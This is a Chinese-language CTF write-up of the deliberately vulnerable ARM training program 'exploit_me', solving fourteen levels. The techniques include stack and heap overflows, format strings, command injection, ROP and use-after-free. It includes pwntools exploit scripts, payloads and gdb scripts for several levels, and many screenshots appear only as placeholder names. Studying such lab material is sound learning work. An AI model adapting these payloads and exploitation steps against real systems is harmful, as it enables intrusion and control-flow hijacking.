arm_exploit_me

项目地址:GitHub - bkerler/exploit_me: Very vulnerable ARM/AARCH64 application (CTF style exploitation tutorial with 14 vulnerability techniques)

wp:一文读懂ARM架构下的漏洞利用 - IOTsec-Zone

刷下来感觉有点pwn入门的味了~🥰

这里只刷了一遍32位。

arm架构基础知识

ARM32寄存器集

R0:存储临时变量 或者 函数返回值
R0~R3:四个寄存器存储函数调用时前4个参数 多余参数放到栈上
R7:系统调用号
R11:寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 –> 相当于ebp FP
R13/SP:指向栈顶
R14/LP:存放函数返回地址
R15/PC(程序计数器) IP:与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。

Level 1 – 整数溢出

atoi函数

atoi函数接受一个指向字符串的指针作为参数,并返回转换后的整数值。如果转换失败,则返回0。

atoi函数的参数是一个指向字符串的指针,该字符串表示一个整数。字符串可以带有正负号和小数点,但必须以数字开头,否则转换将失败。

32位

漏洞逻辑:输入的a1字符串在被atoi强转后被存储在int类型的v2中,我们需要过第一个对v2的check以及后面2字节v2的check。

也就是说我们需要控制v2的值(DWORD)非空,且v2(WORD)为空

image-20250225090235731

这里有个取巧方法,第一次check了四字节,第二次check了2字节,那么设置低16位为0,其余非0即可绕过

image-20250225093714040

输入65536

image-20250225093914781

第一次比较 R3(0x10000)

image-20250225093946238

第二次比较 R3(0)

image-20250225094043582

拿到password

image-20250225094205017

输入-65536(0xffff0000)同理

至于输入一个极大的负数时能够绕过check

可以看看atoi的返回值

image-20250225094953380

可以看到atoi(-9999999999999999999)返回结果为0x80000000即int类型(32位)最小值-2,147,483,648

image-20250225095006056

32.gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# qemu-arm-static -L /usr/arm-linux-gnueabi/lib/ -g 1234 ./exploit hello 65536
set architecture arm
set endian little
file exploit
set sysroot /usr/arm-linux-gnueabi/lib/
set solib-search-path /usr/arm-linux-gnueabi/lib/
target remote :1234

# atoi
b *0x00012278
# first check
b *0x0001228C
# second check
b *0x000122B0

Level 2 – 堆栈溢出

32位

没有对输入的a1和a2进行check,存在栈溢出

image-20250225095559337

我们利用第三个strcpy进行利用,r11存储着函数的返回地址。前面填充长度为12字节。

image-20250225100928178

再拿到level3Password的函数地址,直接打就ok了

image-20250225101741584

32.gdb

1
2
3
4
5
6
7
8
9
10
11
12
# qemu-arm-static -L /usr/arm-linux-gnueabi/lib/ -g 1234 ./exploit help aaaa bbbb
set architecture arm
set endian little
file exploit
set sysroot /usr/arm-linux-gnueabi/lib/
set solib-search-path /usr/arm-linux-gnueabi/lib/
target remote :1234

# strcpy1
b *0x00012188
# strcpy2
b *0x000121E8

32exp.py

1
2
3
4
5
6
from pwn import *
addr = 0x0011F48
payload = b'a'*(12)+p32(addr)
cmd = ['qemu-arm-static','-L', '/usr/arm-linux-gnueabi/lib/', './exploit','help',payload, 'tw11ty']
io = process(cmd)
io.interactive()

image-20250225140539516

Level 3 – 数组溢出

32位

不难看出没有限制a1的大小,导致a1可以输入一个大数或者负数,然后将改写v3数组对应的值即可。

image-20250225140708088

这里我们看一下堆栈布局。

image-20250225141325917

也就是意味着我们需要控制 v3[4]=v3[4*a1-128],计算得到a1=33

image-20250225142536228

32.gdb

1
2
3
4
5
6
7
8
9
# qemu-arm-static -L /usr/arm-linux-gnueabi/lib/ -g 1234 ./exploit Velvet 33 73912
set architecture arm
set endian little
file exploit
set sysroot /usr/arm-linux-gnueabi/lib/
set solib-search-path /usr/arm-linux-gnueabi/lib/
target remote :1234

b *0x00012104

32exp.py

1
2
3
4
5
from pwn import *
level4Password = 0x000120B8
cmd = ['qemu-arm-static','-L', '/usr/arm-linux-gnueabi/lib/', './exploit','Velvet','33', str(level4Password)]
io = process(cmd)
io.interactive()

image-20250225143001657

Level 4 – strcpy末尾+\x00导致的off by null

32位

题目名叫off by one,感觉叫off by null更贴切一点,strcpy会在末尾加上\x00导致一字节溢出

image-20250225143546909

复制前

image-20250225144022509

strcpy复制后

image-20250225144105318

32.gdb

1
2
3
4
5
6
7
8
9
# qemu-arm-static -L /usr/arm-linux-gnueabi/lib/ -g 1234 ./exploit mysecret $(cyclic 256)
set architecture arm
set endian little
file exploit
set sysroot /usr/arm-linux-gnueabi/lib/
set solib-search-path /usr/arm-linux-gnueabi/lib/
target remote :1234

b *0x00012090

Level 5 – 堆栈溢出

32位

实现了一个简单的类似于canary的保护机制,我们需要溢出dest来控制v5=1

image-20250225144438176

image-20250225145717310

v5在v6的低四字节,只溢出到v5可以不用管v6,这个canary有些名存实亡了。

image-20250225145857648

32.gdb

1
2
3
4
5
6
7
8
9
10
11
# qemu-arm-static -L /usr/arm-linux-gnueabi/lib/ -g 1234 ./exploit happyness 
set architecture arm
set endian little
file exploit
set sysroot /usr/arm-linux-gnueabi/lib/
set solib-search-path /usr/arm-linux-gnueabi/lib/
target remote :1234

b *0x00011FB8
b *0x00011FC8
b *0x00011FEC

Level 6 – 非栈上格式化字符串漏洞

32位

格式化字符串漏洞,往v2中写89即可

image-20250225150208750

image-20250225150221065

这里输入了%p-%p-%p-%p-%p-%p-%p-%p,可以看到前三位为空,很有可能时R1 R2 R3,然后开始打印栈上数据(SP开始)。那么就可以计算出栈上数据的偏移。

v2为v1地址,也就是下图sp+4。得到偏移值为5。从而构造payload=%89c%5$n

image-20250225151418747

成功!

image-20250225151841877

32exp.py

image-20250225152116767

1
2
3
4
5
6
from pwn import *
pwd = b'%89c%5$n'
cmd = ['qemu-arm-static','-L', '/usr/arm-linux-gnueabi/lib/', './exploit','happyness']
io = process(cmd)
io.sendline(pwd)
io.interactive()

Level 7 – 堆溢出

32位

没有对输入的a1进行限制,导致strcpy复制时将字符串复制进dest指向的堆块,dest的堆块溢出至v3堆块

image-20250225152212141

调试一下,不难看出这是两个申请的堆块,输入的字符串将填充进0x3a098,也就是dest所在chunk的data域。

image-20250225180937109

所以构造payload=b’a’*0x28+p32(26467)

image-20250225181753016

Level 8 – 类型混淆

32位

image-20250225181948183

dest溢出覆盖ptr使其指向v1指针指向的地址即可。payload=b’a’*0x48+p32(0x3a098)

image-20250225190442580

32exp.py

1
2
3
4
5
from pwn import *
payload=b'a'*0x48+p32(0x3a098)
cmd = ['qemu-arm-static','-L', '/usr/arm-linux-gnueabi/lib/', './exploit','Exploiter', payload]
io = process(cmd)
io.interactive()

image-20250225191101256

当然,因为是qemu起的,所以栈地址也不会变化,所以也能直接往栈上写入0x216a0,然后控制ptr指向写入0x216a0的栈地址。

1
2
3
4
5
6
from pwn import *
# payload=b'a'*0x48+p32(0x3a098)
payload=b'a'*0x48+p32(0x407ffdec)+p32(0x216a0)
cmd = ['qemu-arm-static','-L', '/usr/arm-linux-gnueabi/lib/', './exploit','Exploiter', payload]
io = process(cmd)
io.interactive()

image-20250225192148752

Level 9 – 无效化

32位

我们需要输入两个参数addr和flag,然后这两个参数将传入nullify函数中,我们需要v3=0,那么可以利用 *v4=0,而 v4=addr,addr可控,条件flag=1可控,因为是v4的数据设置为了0,那么我们填入v3的地址即可。

image-20250225193102782

image-20250225193126970

image-20250225194000040

Level 10 – 命令注入

32位

image-20250225194059042

image-20250225194909537

使用;来连接命令,这里要注意;、&&需要加引号,否则命令行优先级大于程序输入变量,导致在命令行被解析成为正常命令,而没有出现在程序中,如下图:

image-20250225195056435

Level 11 – 路径遍历

32位

image-20250225195225558

匹配到了即可

image-20250225195516580

Level 12 – ROP

32位

image-20250225195921993

image-20250225195934841

没有校验a1长度,且memcpy没有限制正确长度,导致dest存在溢出。

image-20250225195656533

要么直接溢出返回到打印password的地方,用gadget来控制r0=22136然后返回到comp函数

image-20250225200454312

pop r0

image-20250225200640692

image-20250225200814522

32exp.py

1
2
3
4
5
6
from pwn import *
payload=b'a'*0x40+p32(0x00011410)+p32(22136)*4+p32(0x00011448)
cmd = ['qemu-arm-static','-L', '/usr/arm-linux-gnueabi/lib/', './exploit','ropeme']
io = process(cmd)
io.sendline(payload)
io.interactive()

Level 13 – UAF

32位

我们需要输入参数以及cmd

image-20250225201424679

目标函数

image-20250225201155139

不难看出我们的目标就是将mappingptr+64改为上面的level3password函数地址或者是在dele操作中 将mappingptr+68改为上面的level3password函数地址

image-20250225201628907

new_mapping

add操作

image-20250225202052306

每次能申请出0x208大小的chunk

image-20250225203251766

destroymapping

delete操作

image-20250225202107655

fillmapping

先申请0x200的chunk,再往chunk里写入0x100字节数据

image-20250225201925117

逻辑:先使用add申请出一块0x200的chunk1,再将它释放掉,它会进入tcachebin中(我使用的libc应该>=2.27),这个过程中mappingptr没有变化。然后再进行fillmapping操作,将刚刚释放掉的堆块申请回来,往其中写入数据,即可利用case 3或者dele操作执行level3password

image-20250225203828868

32.exp

1
2
3
4
5
6
7
8
from pwn import *
# payload=b'a'*64 + p32(0x000115E4)
# cmd = ['qemu-arm-static','-L', '/usr/arm-linux-gnueabi/lib/', './exploit','Magic', '0132']
payload=b'a'*68 + p32(0x000115E4)
cmd = ['qemu-arm-static','-L', '/usr/arm-linux-gnueabi/lib/', './exploit','Magic', '0131']
io = process(cmd)
io.sendline(payload)
io.interactive()

image-20250225204628244

32.gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# qemu-arm-static -L /usr/arm-linux-gnueabi/lib/ -g 1234 ./exploit Magic 0
set architecture arm
set endian little
file exploit
set sysroot /usr/arm-linux-gnueabi/lib/
set solib-search-path /usr/arm-linux-gnueabi/lib/
target remote :1234

b *0x000117CC
# add
b *0x00011850
# fill
b *0x000118B0

# check
tele 0x00034420

Level 14 – JOP

32位

我们len以及par都可控,那么第二个fread处存在溢出,可以直接使用溢出改程序控制流,使程序结束后直接跳到第38行。

image-20250225210106249